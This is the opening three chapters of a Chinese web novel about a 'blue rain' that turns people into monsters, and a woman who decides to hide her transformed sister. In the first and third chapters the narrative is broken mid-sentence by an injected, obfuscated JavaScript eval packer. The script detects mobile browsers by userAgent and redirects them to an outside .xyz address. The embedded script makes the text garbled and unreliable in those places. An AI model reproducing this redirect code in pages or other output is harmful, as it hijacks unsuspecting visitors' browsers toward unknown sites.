《把怪物姐姐藏起来》 1. 第 1 章 “天晴广场站,到了。请您在车辆停稳后再下车,以确保安全。Wearearrving……” 公交车门砰地打开,有些拥挤的人群开始往车腹移动。 这一站下了五六个人,却只上来一个年轻女人。 女人穿着麦苗绿的针织外套,半遮住宽圆的臀部,白衬衣则扎在黑色长裙内。她的胸前挂着一只用墨绿色绳子系着的同色秒表——车厢里的每个人都在胸口或腕间配置了一只秒表,颜色各异。 女人名叫向烛。 前几天她的自行车被人打坏了,零散扭曲到不能骑的那种“坏”:车头断掉,脚踏板不翼而飞……即使这两年社会稳定许多,偶尔也会有奇怪的人四处乱发泄。 向烛上网买了辆二手自行车,准备周末去拿,这几天只能搭乘公交上下班。 她早早打开乘车码界面,手机放在机器前上下左右移动就是扫不出来,数秒过去,向烛紧张起来。 司机大哥瞟向她,啧了一声,“拿近一点啊。” 已经放得很近了好吗? 向烛抿着唇,将手机往斜上方移动,滴的一声,“扫码成功”。 她暗自舒了口气,嘴下意识回了声“谢谢”。 谢谢?谢什么呢?最后成功跟他的说法又没关系。而且明明不用管她她总是能搞定的,这一站就她一个人上车不是吗?她又没影响他,啧她干嘛? 向烛心中飘起一丝烦躁,又很快压下。兴许他上班上累了,也可能他今天有烦心事。没人规定上班必须给其他人好脸色不是吗?她心眼真小,跟人计较这种事。 向烛为自己的斤斤计较感到低落,但今天周五,任何事情都可以放过。于是她将这些乱七八糟的想法丢在身后,挤过人群往前走。 她一直走到后车门旁,用右手圈住扶杆站好,左手将及腰的黑长直发拢到耳后,露出素净的面容∶落尾眉,单眼皮,不高不低的鼻梁,嘴唇因初春的寒冷呈现轻微的暗紫红色。 向烛拿出手机看小说,眉头下意识微皱——她盯着某样东西看时经常这样,显得有些严肃。 屏幕上弹出“小灯笼”发来的一条消息,看到的刹那她莞尔一笑,又显得娴静温柔。 “小灯笼”是她给姐姐向灯取的备注,而她的网名是“大蜡烛”。 小灯笼:「我要去买菜,想吃什么?」 向烛伸出两个拇指,哒哒哒点过屏幕后咻地发出消息。 大蜡烛:「皇姐威武!蘑菇炒肉please~」 大蜡烛:「我等下去买个卤菜怎么样?姐你可以少做一个菜」 大蜡烛:「贴贴.gif」 小灯笼:「了解.gif」 对话结束,向烛的视线离开手机,看向眼前的车玻璃:外面的天空是朦胧、浅蓝色的,汽车和高楼大厦不断往后退去,只有那团红黄的日轮还在原地。 由于所有建筑都覆盖了金属防护层,落日余晖映在上面,亮晶晶闪着光,是一种崭新的洁净感——核心城区内什么都是新的,至少外表看起来如此。 “噔噔噔,噔噔噔,噔噔噔,噔噔噔……噔噔噔噔噔噔噔噔。” 公交广播中,《种太阳》的钢琴前奏响起,温柔的女声紧接:“市民朋友请注意,蓝雨将于18点00分降临,预计持续3分钟左右,请勿外出,小心避雨。市民朋友请注意……” 与此同时,手机也嗡嗡振动,界面弹出预警消息。 向烛听到钢琴前奏的刹那就按下了胸前的秒表计时,倒数十分钟——这是当今人类预测蓝雨的极限。 “艹,又来。”玩着手机的女人退出预警界面,翻了个白眼,撇撇嘴。 “这个月第二回了,今年怎么这么频繁?” “不是吧?约会要迟到了诶。” “妈的,公交上连个躲的地方都没有,等下要是有雨人怎么办?”高个男人拿起胸前正在倒数的秒表看。 “这年头还有不知道躲雨的傻子?”有人躲在人群里悄声回应。 虽然每人都携带了秒表,可因为在公交车上,多数人都懒得去按。毕竟老老实实按《蓝雨应对手册》行动太傻了不是吗?聪明人都是随机应变的。 密密麻麻的叹气、抱怨声之后,车厢内又恢复安静,人们弯着脖颈,百无聊赖地刷着手机。 蓝雨降临的第五年,人类已经适应了这样的生活。 向烛也低下头打字:「姐,下雨了,我晚一点到」 「伤心大哭.gif」 「想你.gif」 「蹭蹭.gif」 她发过去一大串情绪激烈的表情包,灯姐没有回复,估计是在厨房忙活,向烛将手机压扣在胸前,继续盯着车窗玻璃看。 在抵达十字路口时,公交停车熄火。原本的红绿灯三个圆形都变成了蓝色。 所有的车辆静止不动,乖乖等待即将到来的蓝雨。 秒表数到最后一秒。 啪嗒,雨来了。 向烛按下秒表上的第二个按键,屏幕上从4:00开始倒数。 粘稠的蓝色液体打在车窗玻璃上,并逐渐增多、增密,融汇成一条又一条细长的泥鳅。 蓝泥鳅斜向下慢慢游走了。 整座城市安静地淋在这场蓝色的大雨中,只听它演奏噼噼啪啪的曲调。 蓝雨的蓝是那种深深的、亮眼的蓝。还是一种令人窒息的蓝。它们从天而降,将视线内其他颜色都掩住。盯久了蓝雨总使人眩晕,还常常勾起五年前惨烈的回忆,更是一种伤心的蓝。 向烛低下头,秒表数到最后一分钟时雨停了。等倒数完全结束,地面、玻璃上所有残留的蓝色液体凭空蒸发,就像从未出现过一般。 又平安度过了一场蓝雨。 红绿灯恢复成红灯,司机师傅重新挂上档准备开车。 向烛打开手机,无声地刷视频。 “不是吧?你还在用这种薄得要死的雨衣?你——” 她划走。 “家人们,我弟说他和外星人对过话。既然有怪物,那有外星人也很正——” 她又划走。 新出现的视频内容是一名身形高壮的女人正在走路,被兴奋的人群团团围着。向烛记得这是上次在停车场一拳抡倒雨人的异能者,视频上传两个小时就被强制下架,但还是有提前下载存好的人到处发。 女人皱着眉,张嘴说了什么,但向烛听不见。 摄像头逐渐向前靠,女人的侧脸被放得很大,她突然看向镜头,将手伸过来—— 砰地一声车门又开了。 向烛习惯性地瞥过去。 车门打开的地方,站着一个被蓝色液体完全包裹的人。 “wc!关门!” 尖叫声四起。 站在左边扶杆旁的女人一掌按在紧急开关上,门迅速关上了。 司机猛踩油门就要往前冲,然而车尾传来粘腻的吸附声,整个车被拽住,无法前进,前轮空转。 脚下突然晃动,向烛眼前的东西开始往上旋转。 一声巨响后,公交车翻倒在地,向烛紧紧抱着扶杆,而其他多数人都滑倒去了另一侧,摔成一堆,互相挤压着彼此,车厢里顿时声音四起。 “别踩人!” “报点!报点!” 向烛抱着扶杆,和其他几个生存空间充裕的人赶紧打开一个图标为蓝色小雨伞的APP上,上传位置。 蓝色的两只脚踩在玻璃上,猛地一拳就将加强过的玻璃打碎,向烛松开手挡脸,整个人往后滑,摔进人群中。 有人取下挂在壁上的喷水器,巨大的水力冲击出来。然而此人没什么经验,一顿乱喷,最终只喷到雨人脚边一点。 多数人除了蓝雨刚降临的那一年,后面都没再如此近距离见过雨人,五年前的恐怖回忆涌现,人们慌乱地攀爬,向烛的腿被后面急忙爬出的人踩到,根本无法站起来。 雨人脚踩着两边,往里伸手,冰冷的手掌抓住最近的一名中年大叔往外拿,狭窄的玻璃洞被身躯冲击开,大叔被裂口处突出的地方刺刮,疼得大叫。 雨人原本什么也没有的面部突然横着裂出一道大口,转瞬间就将大叔的头咬断,鲜血喷溅出来,正在下方的向烛和后面的人都被溅了一身。 雨人往外一吐,人头滚落。身躯断口处很快便疯长出灰蓝色的腐藤,藤条缠绕交错,最顶端呈现出小骷髅头的模样。 掉落下来的人头吓昏了人。 雨人张嘴咬断腐藤,吞进嘴里不断咀嚼。 浓烈的血腥味令人犯呕,向烛捂住口鼻,根本不敢抬头看,只一心往前爬去。 她在合适的地方站起来跑,心脏咚咚咚就快要跳出胸膛。她准备从其他人用安全锤砸出的洞口逃出去,然而下一刻却猛地扑摔在地,下巴磕破。 向烛一扭头就看见脚腕上那只蓝色的手。 雨人不知何时跳了进来,它拎着她爬出车厢又往下一跳。向烛跟着从车身上掉落,砸在地上,疼得面目扭曲。 雨人拖着她往外走,准备等下饿了再杀掉她吃新鲜的骸生物。 向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045045|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烛蜷缩着身子,尽量在拖行的过程中少受些伤。 人类化为雨人后会变强壮,这个雨人的力气更是惊人,不是她这种普通人能应对的,贸然击打可能反被杀害。 向烛将一直紧紧攥住的手机举到胸前,按着音量键和顶部按键拼命上下摇动。她开了快捷键,关联蓝雨APP的求救功能,附近的清雨队成员肯定很快就能发现她。 “救命!”她一边摇一边声嘶力竭地喊,一声接着一声。 “救命!” 砰地一声,拖着她的雨人突然倒地,躺在她身边。向烛往旁一缩,手脚并用往后退远。她看见雨人的脑袋上有个洞,蓝色的身体逐渐往下扁,化为一滩血水。 血水间有一颗子弹。 新诞生的雨人在24小时内都还保留着人类的躯体架构,可以用一般方法除灭。 鲜红的血沿着水泥地的纹路蔓延,向烛别开眼。 “吟和,检查一下。”平冷的声音在背后响起。 “是。” 向烛一抬头就见一名男人穿着米白色的雨衣半跪在她身边。他低着头拿出巴掌大的检测机,垂下来的雨帽遮住他大半张脸,只露出唇和下巴。 只穿雨衣的清雨队成员,是异能者…… 向烛稳住声音,两只手交叉抱着胳膊往后缩,“我是雨停了才从公交里被拽出来的,没淋雨。” 身前的男人没说话,声音还是从后面传来的,很温和:“抱歉女士,按规定一律需要检查。” 向烛转头看去,站着的男人穿着严严实实的黑色防雨服,脸被面罩遮住,只能通过透明的护目镜看见他深邃有神的眼睛。 男人手上架着枪,臂上戴章,一看就是队长之类的人物。 她不好意思多看,转回头低下脸,“……好。” 向烛因紧张涨红了脸,她伸出胳膊,袖子被磨破出好几个孔。身前的人用检测机将她浑身照了个遍,又再将手腕、脖颈等裸露在外的皮肤仔细照一遍,机器没有发出警报。 从天而降的蓝雨温度与普通雨水的温度差不多,但粘着在人体表面时会呈现一种极度的低温状态,但又不会使被附着人发现。检测机扫描的就是异常低温。 一般而言,被蓝雨覆盖80%以上肌肤的人才会发生变异,但去年发生了几起低接触变异事件,政府变得更加谨慎,但凡检测出身上有附着蓝雨的都得进隔离间隔离一段时日。 男人收起检测器,准备起身。 向烛轻声道了句“谢谢”。 男人“嗯”了一声。 “多谢配合。”话是后面那位说的。 “没……谢谢你救了我。”向烛站起身,转身看向那人。 “职责所在,客气了。”他看了眼向烛下巴的伤口和手肘磨破的衣服,“红绿灯边上是我们医护队,女士你可以去处理一下伤口。” “好,谢谢。”向烛道别后转身离去。 走着走着她突然想到:如果她也淋了雨变异,这个现在看起来礼貌可靠的人就会直接击毙她吧? 等向烛在医护队临时搭建的地方把身上的血污冲掉,处理好伤口,又烘干衣物,天已经黑透。 她摸出手机,冲澡前给姐姐向灯发的消息都没有得到回复,于是她又拨打电话。灯姐要是听到她死里逃生一定会很惊讶。 电话拨过去,彩铃唱了许久都没有人接通。 向烛奇怪地挂断电话。 是在看电视吗?回去再跟她说好了。 虽然腰背疼痛,向烛还是按原计划买了卤菜才回的家,还顺便去驿站拿了快递。 无论经历多么惊险恐怖的事情,生活还是要照常过。他们就是这样在惊恐与平常中度过蓝雨这五年的。 向烛将快递箱子抵在墙上,腾开手去开门。 咔哒一声,门开了,她把钥匙塞回裙兜。 “姐,粮长,我回来啦。”她一边用屁股将门关上一边说道。 门口鞋柜上没有熟悉的黑白身影和喵喵叫,向烛边脱鞋子边说:“粮长?怎么不来迎接我啦?” 向烛将快递和卤菜放在桌上,从客厅往厨房走,厨房没有人,菜板上是切了一半的土豆,一旁还有正在腌制的瘦肉丝和泡发的香菇。 居然没做完菜就出门了,是去买东西吗? 向烛拿出手机再打电话,几声之后她听到熟悉清晰的歌谣从身后响起: “一定是特别的缘分~” “才可以一路走来成为了一家人~” 她转回头,一张蓝色的脸猝不及防贴近。 2. 第 2 章 18点20分。 向烛还没有回家。 向灯倒在卫生间,蜷缩着身子。 她像溺水了一般无法呼吸。心脏、肠胃……所有脏器好像被人掐住似的,开始往外挤出水来,蓝色的水。 嗓子被粘稠的液体糊住,向灯说不出话,肌肤逐渐变得苍白透明,最终成为深深的蓝色……深蓝色的液体从皮肤渗出,覆盖她整个身躯。 就像大海一样,这片人形的蓝色也在涌动。 碎裂的手机屏幕上弹出一条消息。 世上最可爱的蜡烛:「报告,还有五分钟到家」 「小火车嘟嘟嘟.gif」 * “姐,要是我俩能一块死就好了,下地府还有个伴。” “你死得比我早点吧,下辈子我当妹妹体验一下。” 向烛和雨人对望的刹那,突然想起她和姐姐曾经开的玩笑。 雨人入侵了他们家,她要死了。 她颤抖着,那张只有一个拳头距离的蓝色面容让她忘记呼救,忘记挣扎,甚至忘记呼吸。 在快要喘不过气时,向烛大吸了一口气,凉冷的空气涌进鼻腔、喉咙。 她还活着,没有被一口咬掉脑袋。 眼前的雨人一直没有动静,只是仰着脸看她——仰着脸? 雨人的头只到向烛鼻子下面,这是个有点矮小的雨人,和灯姐一样高。而且只呈现出蓝色液体包裹的人形状态,说明变异没有超过24小时。 它不扑上来咬她,是因为刚吃饱还不饿吗? 一个恐怖的念头在向烛脑海中冒出:灯姐被这个怪物杀掉了。 菜只做了一半,手机掉在客厅……这些都是强有力的佐证。灯姐的尸体估计就在家里某个地方。 泪水顿时就从眼眶奔涌而出,鼻子酸得像消失了一样。 向烛浑身颤抖,巨大的伤心完全掩过了对眼前这个怪物的恐惧、对死亡的恐惧,她痛哭了起来。 腹部随着吸气抽动,一颗眼泪叠着另一颗眼泪滴下,鼻涕也紧跟着流了出来。 她甚至都没有多余的心力去憎恨眼前的怪物,向烛的泪水从外流到里,失去姐姐的痛苦将她整个人淹没。无望如狂风巨浪般冲袭而来,又把她击倒了。 向烛瘫坐在地。她双手掩面,泪水从指缝间淌落,许久后才声音颤抖地道:“你把我也杀了吧……” 兴许她还来得及追上灯姐。 雨人没有动作,伸着脖子看她痛哭流涕。默默待了一会儿后,它往外走。 两只脚踩过的地方会留下浅淡的圆痕又消失,它盯着看了一会儿,又低头看看自己章鱼一样圆润的双手双脚,使力张一下又会显现出指节的模样。 它开始在客厅小步转圈。 而向烛在厨房不知哭了多久,泪水都流尽了,厨房纸也被她抽尽了。冰凉的地面冻僵她的脚踝。 她用手去暖热脚踝,酸胀的眼睛痴愣地望着在客厅转圈的雨人,意识仿佛已经飘走,许久许久才重新回到她的身体。 向烛不能白白地死。 她站起身,将手按在菜刀柄上,然后悄悄将刀藏在背后。 趁它没完全变异,用菜刀还能杀死。她作为一个人,有责任杀死它,不然之后溜出去会害死其他人…… 向烛深吸一口气,持刀的手忍不住发抖。 她长这么大,没杀过鸡没杀过鱼,即使是五年前那种混乱的情形,她也因为暑假留校避开了人群,和姐姐会合后就一直紧随政府军队,听从安排。 血腥残忍的画面向烛当年见过不少,但一直无法适应,自己更是没动过手,只做些简单的后勤。偶尔不幸遇险,灯姐都冲在最前面保护她。 想到过去,向烛冷静下来,重新将菜刀放下。 即使看起来娇小,那也已经是怪物而非人类了。向烛记得手册上说异变成雨人后,力量最少也是原来的三倍,她大概率打不赢它,贸然直上就是真送死。 或许可以出其不意,比如把水泼到电器上,电死它……可这个时机有点难以掌握…… 思考对策间,一股凉冷的气息从身后传来,向烛鸡皮疙瘩顿起,一扭头就看见雨人站在自己身后。它的脑袋偏转向一侧,不知道在看什么。 这是机会。 或许是哭累了脑子转不动了,向烛难得手比脑快,她猛地抓起菜刀向它脖颈处挥,雨人没有任何反应,就像没注意到她的动作一样,向烛的刀却停在半空中。 她盯着半透明蓝色液体下依稀可见的人形——两者融合得还不完全。 向烛之前害怕得不敢多看,挥刀的瞬间却注意到它脖颈旁有一小团黑乎乎的,像是一颗凸起的黑痣。 向灯在脖子同样的位置也有一颗黑痣,她总说要去取掉可一直拖着没去。 仔细一看,雨人模糊得只能看出轮廓的五官似乎和她也有几分神似,又和她一样高…… 向烛声音发颤:“姐?” 怪物迟缓地扭过头来,把脸朝向她。 干涸的泪穴又被填满了,从两边流淌出温热的液体。 “灯姐?真是你?”向烛几乎要因为喘不过气而昏厥。 “向灯”没有反应,它静默地站着,像喷泉中间有水流动的一座雕像。 向烛:“是不是出门买菜淋到了?” 去年发生了第一起低概率变异事件。向烛记得是一名男子在蓝雨中跑得太急,结果没扎紧的系带一松,雨帽掉下来,脑袋淋到蓝雨。 他只淋了不到二十秒,范围还只有脑袋,男子就没太放在心上,结果回家没几个小时就变成雨人,咬死了父母。最后是逃出来的妹妹上报才将其及时击杀。 灯姐一定是在外面淋到雨,回家后变成了雨人。 不对……如果是这样,灯姐岂不是还没吃过骸生物?那怎么不杀她? 向烛心一惊,顾不上向灯,她慌慌张张往外跑,看到对面邻居家的门还老实关着,她大舒一口气,重新关上门。 一忧平下,一忧又起:难不成是在外面吃了又跑回来? 可向烛没听说过哪个雨人贪恋自己还是人类时的住处,有奇怪行为的倒是有刷到过。 眼看灯姐开始在厨房转圈圈,向烛背靠大门蹲下,拿出手机在土豆APP上搜索:家人变成雨人没咬人。 屏幕上弹出一系列分享: 「我妈变雨人后咬断我一条腿」 「我跟老婆青梅竹马二十年,她还是张口就要咬我」 …… 映入眼帘的全是惨痛经历。向烛将帖子都关掉,转去搜索引擎搜新闻,第一条就是“一家三口,父母变雨人,强悍女儿含泪用刀处决,痛失一臂”。 向烛放下手机,心乱如麻。 灯姐现在可能还不饿,但再多等一段时间就不一样了。 向烛看着亮起的手机屏幕,手指移到蓝雨APP附近。 要上报……得让清雨队的人来…… 向烛眼前闪过今天公交车前被击毙的雨人。鲜红色的血从回忆中流淌出来,一点点漫到她脚边。 灯姐会被杀死的……不对,这已经不是灯姐了,是一只要靠人类尸体存活的怪物。 向烛看向在厨房的雨人。它已经不绕圈了,只是静静地站立着,面朝窗户。 泪水从眼角滑落,又被她用手擦去。 这是怪物, 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市政厅“蓝雨守望者”APP弹窗公告强调:目前无任何药物或疗法能逆转雨人化过程,发现疑似感染者请立即通过APP「坐标」模块上传实时定位,专业清雨队将在15分钟内响应。隐瞒不报造成伤亡者将按《蓝雨危机法》第17条追究刑事责任。」 向烛看到“隐瞒不报”时心脏揪紧,她继续往后看,后面是各种错误的民间疗法,比如用电磁脉冲治疗反而使异变者迅速从初级雨人变为成熟雨人等。 生存指南后是特别提示,包括举报奖励机制和虚假信息识别,重点打击近期短视频平台出现伪造的雨人恢复教程和治愈案例。 向烛一路滑到最后。 「当前蓝雨危机已进入第五个年头,市政厅再次呼吁全体市民:科学应对、杜绝侥幸,我们终将迎来黎明。立即下载“蓝雨守望者”APP,让我们共同守护文明。」 向烛看完这最后一段还没有死心,她跑进自己房间,打开电脑在知识网站上搜索,试尽各种关键词,仍然一无所获。 蓝雨出现总是不超三分钟,雨一停就全部凭空蒸发,很难采集。而雨人活着要杀人吃骸生物,死了就直接化为血水,成熟雨人还可化为液体,四处穿梭,很难控制,再加上大批人才在第一年不幸遇难,五年下来人类对蓝雨知之甚少,为了生存只能先将防护和抗击做到极致。即使如此,人类也已经做得很好了。 向烛常常觉得人类顽强得可怕。在经历慌乱惨痛的第一年后,人类就开始慢慢重建秩序,几年下来,虽然没能完全解决,至少人们能像在蓝雨来临前那样正常生活了。甚至除了户外大型多人活动被一应取消外,该有的娱乐也都还在。 如今的蓝雨就像社会的某种疾病,时不时会感染,吃完药就能恢复。 历史的滚轮一刻不停在前进,人们还要继续过日子。 向烛相信终有一日人类能研发出疫苗或解药,但问题是还要再过多久?在那之前灯姐怎么办? 向烛双手捂着脑袋。 她不能让清雨队的人杀掉姐姐,灯姐一定还能变回来,只要她坚持等,管好她…… 向烛放下双手。 她要把姐姐藏起来,直到转化的方法被研究出来。 向烛站起身,看向那道蓝色的背影。得想办法将姐姐控制住,这样24小时内不用担心生死存亡的问题。 “一定是特别的缘分~” 电话铃声突然响起,向烛心一惊,她四处看,走到沙发旁将向灯的手机捡起,来电显示是许浪生。 许浪生是向灯的男朋友。 3. 第 3 章 向烛眉头紧皱地盯着屏幕,心脏扑通扑通跳。 她放任歌声在安静的屋内回荡,等了一分多钟才等到许浪生先挂断电话。 屏幕上弹出消息。 许浪生:「还生气啊?给个道歉的机会行吗?我请你吃饭」 两天前向灯和许浪生出门吃饭,向灯分享最近爱看的剧,许浪生坚决认为那是烂剧,给她举了一大堆例子佐证。 向烛听灯姐吐槽过这件事,说他非得跟她犟,又不是什么重要的事,一定要分出个对错,搞得她火大。 向烛将向灯的手机关上,没有回复消息。 她不能轻举妄动,现在关于灯姐的事一定要想好了再做,绝不能走到不可挽回的地步。 向烛先前太过震惊,还没来得及考虑灯姐的人际交往,许浪生的电话提醒了她。 向灯跟向烛作为亲姊妹,虽然有不少相似点,但不同点更多。 向灯外向,很喜欢出门玩,唱歌,喝酒……朋友多到两只手数不完,跟同事也会经常聊天,甚至约出去玩。 向灯的联系人列表有一长串,跟向烛那用同学同事凑出来的僵尸“好友”们不一样,都是活生生的。 这么多人,向烛的说话习惯又和灯姐差很多,不是靠假扮能应付的。要怎么办才好? 不对,向烛猛抬起头,她得赶紧先把灯姐控制起来才行,避免等下她饿了发狂。 需要思考和做的事情太多,向烛有些头昏脑胀,做一点忘一点。 她匆忙起身,眼睛往厨房处一挪就和一张蓝色的脸对上。 没有五官只有沟壑起伏的面庞浮起水浪的波纹,又恢复平静。 向烛紧张得肩膀不自觉耸起。她背贴着墙,盯着那张脸小心翼翼地一步一移回到了自己房间,再出来时手上就拿着她做手工用的绿丝带——家里没有长绳。 向灯静静站着,向烛在她身后放了把椅子,然后将放长的丝带往前一抛套住向灯,又往后一拉,向灯被勒坐在椅子上,没有反抗,跟向烛想象中一样老实。她长舒一口气。 之前向烛挥刀时姐姐没动,她就在想是不是不会伤害她,果然如此。 但是为什么?因为有姐妹的血缘关系?不可能,不然就不会有那些家人互相残害的新闻了。 向烛不在暂时弄不明白的地方纠结,她只要知道,灯姐是一只有点特殊的雨人就好。 她看着向灯蓝色的身躯。包裹在外的液体上有一些飘动的、形似蓝丝带一样的东西。向烛用手轻轻触碰,可以直接穿过去而不在手上留下任何痕迹。 太诡异了。 她轻颤着将手贴在向灯脊背,像是摸到一层水做的屏障,坚硬冰凉,再也没有人体的那种温暖柔软。 向烛失神地收回手,又缓缓攥紧。 会好的……以后一定有办法能够恢复,只要熬过现在就好…… 她从厨房拿出一把水果刀放在裙兜。如果24小时后灯姐完全变成雨人要动手了,向烛会割破手,把血沾在上面和她拼命。 雨人成熟化后躯体就跟水一样,“抽刀断水水更流”,不能用普通杀人的方式消灭。清雨队有很多专门武器,而普通人唯一能用的就是血。 蓝雨降临第二年,人们发现沾了人血的武器仍然可以正常伤害到成熟雨人,被割断的地方不会再续长出来,如果切下头,雨人也会化为一滩血水。 以防万一她到时候失手,向烛还设了定时,让手机在25小时后自动发送地点上报。 向烛看着静默望向前方的向灯,心情很复杂。原本的惊惧几乎消失殆尽,转而被担忧焦虑覆盖。 怎么说呢?一知道那是灯姐她就不害怕了。向烛觉得姐姐还在她身边,即使是以这副模样,里面仍然安睡着她的姐姐——世界上最好最好的姐姐。 向灯大向烛五岁,小时候放学会陪她编花环、玩泥巴,还和同学带向烛一起去野炊……因为家里没什么钱,姐姐初中毕业就直接去工厂上班。 还没几个月,母亲就逼她相亲,姐姐跟母亲大吵一架,最终离家出走,一年后才和好,但仍然定居在外省,只在节假日回家。 每次回来,姐姐都会带她到处去玩,吃各种好吃的。 向烛在学校里一天天长大,姐姐在社会摸爬滚打,后来自考成人大专,一边工作一边上学,毕业后在一家小公司当秘书。她既努力挣钱,又不忘犒劳自己,经常出门旅游。 在向烛心目中,即使开头再艰难,灯姐也总有能力让事情好转,是一个很厉害的人,和她完全不同。 向烛高三第一个学期,母亲出轨,父亲没多久就重新找了个对象。向烛真的很不擅长和继母相处。也不是她有多坏,就是两个陌生人相处很尴尬。再加上父亲经常因为各种事情责骂她,日子过得很煎熬。 姐姐有时会打电话过来慰问她,向烛偶尔就忍不住表露自己的不安。没想到不久后姐姐就直接辞职回来,在她学校附近租了房子,让她搬过去和她一起住。 向烛那天第一次因为感到幸福而落泪。 姐姐刚回来,父亲却带着媳妇一声不吭地跑路了。 在逃避责任方面,父亲和母亲可以说是天生绝配。 “没事,姐姐会养你的。”向灯当时笑着对她说。 于是向灯付了向烛最后一个学期还有大学四年的学费、生活费。姐姐真的将她养大了。 既然有蓝雨将人类变雨人的怪奇之事发生,那一定也有办法将雨人变回人类。 在这个世界上,只有向灯是真正爱她的亲人,向烛绝不会放弃她。 绑好向灯,向烛又坐回桌旁冥思苦想。她先思考怎么解决许浪生。 分手?那一定会被打数不清的电话……还好他不知道他们住在哪里。 直接删了?灯姐对以前惹她讨厌的前男友是这样做的,消息发过去就直接删号拉黑。这样断得最干净。 对于姐姐的男朋友,向烛一向没什么同情心。而且虽然灯姐和他交往一两年了,向烛跟许浪生却不怎么熟,都不知道他长什么样。 向烛不喜欢和陌生人相处,没到谈婚论嫁,姐姐就不会强迫她见自己对象。 可就算解决一个许浪生,还有那么多朋友……总不能都突然删掉…… 向烛左思右想,最终决定按失踪人口上报,一劳永逸。等48小时过去,就去派出所报失踪,蓝雨后失踪在这个时代是很常见的事。 向烛低头看着向灯的手机,指腹磨过屏幕上的裂缝,有轻微的颗粒起伏感。 灯姐在这种小事上总是很不着急,屏幕摔坏这么久了还没买个新膜。 眼泪又掉下来,向烛抬手抹去。 她带着姐姐隐居好了。 离开中心城区去边缘区,那里监察少,不容易被发现。可她要如何生活呢?姐姐现在好像变得没什么脑子,不知道能不能听懂她的话、听她的话。 虽然监控设备都被雨人们破坏完了,不用担心被拍到,可中心城区以外的地方活着的人也不少。 向烛想到雨人休眠时会变成透明的一滩水。那她应该可以趁灯姐睡着,赶紧将她背走,然后就让她一直躲在房间里。 粮长怎么办?雨人只吃人类尸体长出的骸生物,它和灯姐一起待在屋里应该没事吧? 向烛惊觉进屋后还没看到过粮长,她赶紧呼唤:“粮长?粮长你在哪?” 一声轻微的喵叫回应了她,向烛安下心,想着估计是怕得躲在哪个角落了,她也就先不管它。 向烛将支付B、W信还有银行卡的钱全加在一起简单算了一下,换个小一点的房子住,不上班能撑一年半左右。 在这种时候,她就很后悔没有选工资更高的工作,后悔刚毕业时老换工作没存下多少钱,也后悔平时不够节俭,在吃的上面花了太多钱。 同时她也庆幸自己还不算特别大手大脚,怎么说也有蛮大的喘息时间。更庆幸年初放弃了贷款买车。 只有她一个人的工资,如果每月要还贷款,日子一定会过得很艰难。这是不幸中的万幸。 所以,现在的房子租期还有三个月,熬过这三个月后去边缘区换个小点的房子住,找份工作……等失踪的审批通过,她还能拿到姐姐的存款…… 最重要的是食物问题。姐姐现在的食物只长在人类尸体上,这是不得不面对的事实。 向烛昨晚试着喂姐姐吃过卤藕片和鸭腿,结果她刚咽下就又吐了出来。向烛需要去尸体上采集骸生物回来喂她。 照《蓝雨应对手册》所说,雨人一般每隔三日就需进食一次,但刚转化没吃上食物的雨人很快就会死去。 向烛开始搜索哪个地方有大量尸体,换了很多种不同的说法“擦边”问引擎,终于得到几个点。 一是边缘区再往外的废弃区。城市能住的人是有限的,那些废弃的居民处还留着很多流民,而蓝雨过后,废弃区的清理总是最后进行。 二是蚀雨区。一般蓝雨两三个月才下一场,有的地方一个月却能下三四回。 三是繁光林。那是城区内一片极大的绿色树林。雨人刚降临那年,人类只顾着东躲西藏,本就树木茂密的地方植物肆意生长,最终形成了那副模样,有很多人在那里自杀。 废弃区和蚀雨区都有不少人在活动,若被看见她捡骸生物就完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045047|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而且清雨队的人时常会去巡逻,骸生物估计被清理了很多。 繁光林的清理优先级低,骸生物估计保存得还不错,数量足够,里面人也少。而且即使在繁光林晃荡也不会引人怀疑,最多以为她要进去自杀。 最重要的是,虽然繁光林里尸体多,却没有大规模雨人集聚。不知出于什么原因,雨人们并不会去这种普通尸体扎堆的地方觅食。 地点选好了,她该带点什么? 里头的尸体估计腐烂了,得买个防毒面具之类的屏蔽臭气。可是她既不养猪,又不处理垃圾场,买这样的东西好像有点可疑…… 她得带刀出门,还有垃圾袋,再整个小桶,那就背一个包…… 什么时候去?大半夜人是少,可晚上都看不清路,而且半夜去繁光林,夜班司机一定会关注她,甚至可能报警…… 不仅是搭公交时,万一出门或者回来时碰到附近有人看见她了怎么办?不对……被看见也没什么,就说自己是出门买夜宵。不对……只是买个夜宵怎么解释出了那么久的门?那每次就随便找一家真的去吃?可向烛以前经常和姐姐去吃夜宵,附近那几家夜宵店的老板都认识她,她的行动会留下更深的印象。 不对……不对不对……这是把自己当成嫌疑人,想象警察询问自己了。她又没杀人犯法,一般不会有人在意她的行为,所以有点漏洞也没什么。 不,万一…… 向烛将头砰地撞在桌上,一下子想这么多东西让她头很疼。有数不清的担忧在每一个方法后紧随出现。到底要怎么做才能保证不会出问题?究竟要怎么办? 向烛没忍住又落泪了,泪水从鼻尖滴到桌面。 如果她像那些侦探小说里的主角一样聪明就好了,一定能想出万无一失的好主意。 向烛抬起头看向椅子上的向灯,“姐,对不起,我太笨了……” 向灯只是靠着椅子安静坐着,不会再不厌其烦地安慰她了。 于是向烛在心中模仿她的语气对自己说:先去干啊,就算失败了,至少尝试过,将来也不会后悔。 